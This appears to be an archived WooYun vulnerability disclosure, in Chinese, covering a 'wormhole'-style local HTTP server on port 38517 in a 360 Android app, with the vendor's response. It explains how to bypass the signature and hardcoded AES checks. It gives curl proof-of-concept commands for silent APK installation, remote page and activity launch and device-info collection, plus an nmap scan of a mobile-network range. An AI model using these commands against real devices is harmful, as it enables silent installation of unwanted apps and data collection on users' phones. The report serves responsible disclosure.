当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153353

漏洞标题:wormhole第二弹来袭:360某应用可远程静默安装app

相关厂商:奇虎360

漏洞作者: 唐朝实验室

提交时间:2015-11-10 16:37

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-10: 厂商已经确认,细节仅向厂商公开
2015-11-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

360一贯给分较低,这个写出来的主要目的是给大家看看的,所以写的比较详细,嘿嘿.
3.2.57 Google play版,可被黑客控制
3.2.68 官网最新稳定版,只能被360域触发
3.4.70 官网最新beta版,只能被360域触发
5.0.15 官网最新公测版,可被黑客控制
理论上3.2.68之前版本以及公测版本均受到影响,(后面测试蜂窝网的返回的 versioncode 也佐证此点)

详细说明:

影响版本信息
3.2.57 Google play版,可被黑客控制
3.2.68 官网最新稳定版,只能被360域触发
3.4.70 官网最新beta版,只能被360域触发
5.0.15 官网最新公测版,可被黑客控制
理论上3.2.68之前版本以及公测版本均受到影响,(后面测试蜂窝网的返回的 versioncode 也佐证此点)
---
漏洞分析
NanoHttpd监听38517端口

port.png


实现的接口如下

functions.png


比较多,接下来分析两个重要的接口 in (远程静默安装 app) openBrowser(远程打开任意网页)
in接口接收如下参数

inparam.png


会有一个 sign 的验证的,比较简单是将 url 和一个静态 salt md5取 hash 值

md5.png


openBrowser相对要较为复杂一点,对参数进行了 aes 加密,还对访问的域进行了限制.不过因为 aes 的密钥硬编码可以绕过,还域验证用了 endswith 也是可以绕过的
参数只接收了一个 url

openbrowser.png


之后便是 aes 解密了,key 和 iv 都是可以逆向得到的

aes.png


解密得到的 url 会再进行一次检测

domaincheck.png

漏洞证明:

---
部分 poc

静默安装:
curl -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ **.**.**.**:38517/in?url=http%3A%2f%**.**.**.**%2f151105%2f2056cf106ef74bb62f6cf90942d44893%2fcom.qihoo.freewifi_350.apk&sign=8d893b4713f324f776141a6fd25dae58&logo=1&name=2&ref=3&log=4
SERVER INTERNAL ERROR: Serve() returned a null response.%
虽然相应是500,但是手机端确实是静默安装了,只是没有 callback
浏览器打开任意网页:
curl -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ **.**.**.**:38517/openBrowser?url=LcpThPzKqw3uR473ZdfYLG9dEcW7uXOk2gN8Qy4ANbbS47ZT%2bO0A%2f00RdIJET8Ec
远程启动应用:
curl -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ **.**.**.**:38517/openActivity\?from\=360Wifi\&startIndex\=34\&sign\=c6c5130325ea0a0c96e12b35a33d4553\&callback\=xxxx
xxxx({"isSuccssed":true})%
远程打开网页
curl -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ **.**.**.**:38517/openPage?url=http://**.**.**.**/jump%3Fu%3Dhttp%3A%2f%**.**.**.**%2f%26m%3D853640&callback=xxxx
xxxx({"isSuccssed":true})%
远程获取信息
curl --data "http://**.**.**.**/" -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ **.**.**.**:38517/getClientInfo
{"m2":"78856d3517649f2de7ceb7dc3e4a0e94","server_version":1,"verCode":300030217,"freeData_encrypt":true}%
测试 logo
curl --data "http://**.**.**.**/" -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ **.**.**.**:38517/logo.png


---
蜂窝网测试,影响范围不如百度的广,大概一个 c 段三四个 UE受到影响,之前百度 wormhole一个 C 段大概二三十个 UE 会受到影响 (一个运营商的条件下)

./nmap -sT --open -p38517 **.**.**.**/24 -n -PN -vv                           <
Starting Nmap 5.51 ( http://**.**.**.** ) at 2015-11-10 04:46 UTC
Initiating Connect Scan at 04:46
Scanning 256 hosts [1 port/host]
Discovered open port 38517/tcp on **.**.**.**
Discovered open port 38517/tcp on **.**.**.**
Discovered open port 38517/tcp on **.**.**.**
Discovered open port 38517/tcp on **.**.**.**
Completed Connect Scan at 04:47, 18.94s elapsed (256 total ports)
Nmap scan report for **.**.**.**
Host is up (0.12s latency).
Scanned at 2015-11-10 04:46:56 UTC for 0s
PORT STATE SERVICE
38517/tcp open unknown
Nmap scan report for **.**.**.**
Host is up (0.11s latency).
Scanned at 2015-11-10 04:46:56 UTC for 15s
PORT STATE SERVICE
38517/tcp open unknown
Nmap scan report for **.**.**.**
Host is up (1.3s latency).
Scanned at 2015-11-10 04:46:56 UTC for 5s
PORT STATE SERVICE
38517/tcp open unknown
Nmap scan report for **.**.**.**
Host is up (1.0s latency).
Scanned at 2015-11-10 04:46:56 UTC for 5s
PORT STATE SERVICE
38517/tcp open unknown


./curl --data "http://**.**.**.**/" -H "http-client-ip: **.**.**.**" -H "remote-addr: **.**.**.**" -e http://**.**.**.**/ http://**.**.**.**:38517/getClientInfo
{"desk_game_union":true,"server_version":1,"OS_version":19,"freeData_encrypt":true,"shake":true,"m2":"4060f6fc17031f6d5e2f946a79308b89","verCode":300030260,"channel":"300001"}
{"m2":"8496f3fe5c8a21edd8868e178d4ecfb1","verCode":300030232,"channel":"300001","server_version":1,"freeData_encrypt":true}
{"verCode":300030260,"shake":true,"freeData_encrypt":true,"desk_game_union":true,"server_version":1,"m2":"207ae9cd59283b188b90a8cd8739279e","channel":"600000","OS_version":21}


---
最新版(正式版)对功能触发的改进.
3.2.68之前 sign / aes 加密等由于都是本地验证且密钥都是硬编码的,所以可以轻易绕过.但是3.2.68以及之后版本加入服务端的验证,使得攻击成本更高.

forbiden.png


传入的 url 会把拿到360的服务端获取一个url 进行比较,一样才会执行.这就意味着这个接口就只能360能够调用了.(看来经过百度的wormhole 后360研究了一个不错的解决方案.)

equals.png


这里还得注意一点,就是在2015.11.3 nanohttpd 代码更新关于 remote-addr 的处理所以没办法继续伪造了.
https://**.**.**.**/NanoHttpd/nanohttpd/commit/0f5ae0751dcaf3182ba094403debaf085b3ac58e#diff-0656f07a7b3ca3d12d932e10d132ae31

nanopatch.png


---
关于 wormhole 后门说的见解
因为 webview 的安全性问题,谷歌对其重重限制,直到 4.4.2之后开始禁止 js 反射调用 java 方法.使得 web 和 app 的 java 层交换没法通过android 现在有 api 实现了.如果开发者需要这个功能就得另寻找他法了.比如利用 NanoHttpd 监听本地一个端口,接收传入的参数来执行一些操作或者命令.这时候如果访问网页就可以通过 js 调用请求触发这个功能了.
之前访问百度的手机站点,百度统计的 js 便会发起一些收集信息的操作

baidujs.png


同样在360的域下 **.**.**.** **.**.**.** 也发现了一些调用这些功能的 js
对localhost 的端口进行访问

js1.jpg


远程静默安装 app 的 js

js2.jpg


访问直接触发信息收集的功能

js0.jpg


所以我的结论是: 如果你信这个厂商wormhoel便是一个强大的 web app 交互功能, 你不信这个厂的话便是一个强大的后门.

修复方案:

版权声明:转载请注明来源 唐朝实验室@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-11-10 17:15

厂商回复:

感谢提交,这个问题是和之前报告的是同一个问题。如乌云唐朝实验室提交的报告所描叙,下载的url会和360服务端进行比较,不管新老版本,这个是360默认就有的安全防护措施,不是针对百度虫洞漏洞所临时添加的安全防护措施,此类恶意下载行为360会在云端屏蔽,基于用户体验考虑不会打扰提醒用户。360手机助手的最新版本不存在此安全问题,已经将高权限的功能去掉对外端口开放,根据你们的建议,后期我们会给用户再加入更严苛的安全提示措施。

最新状态:

暂无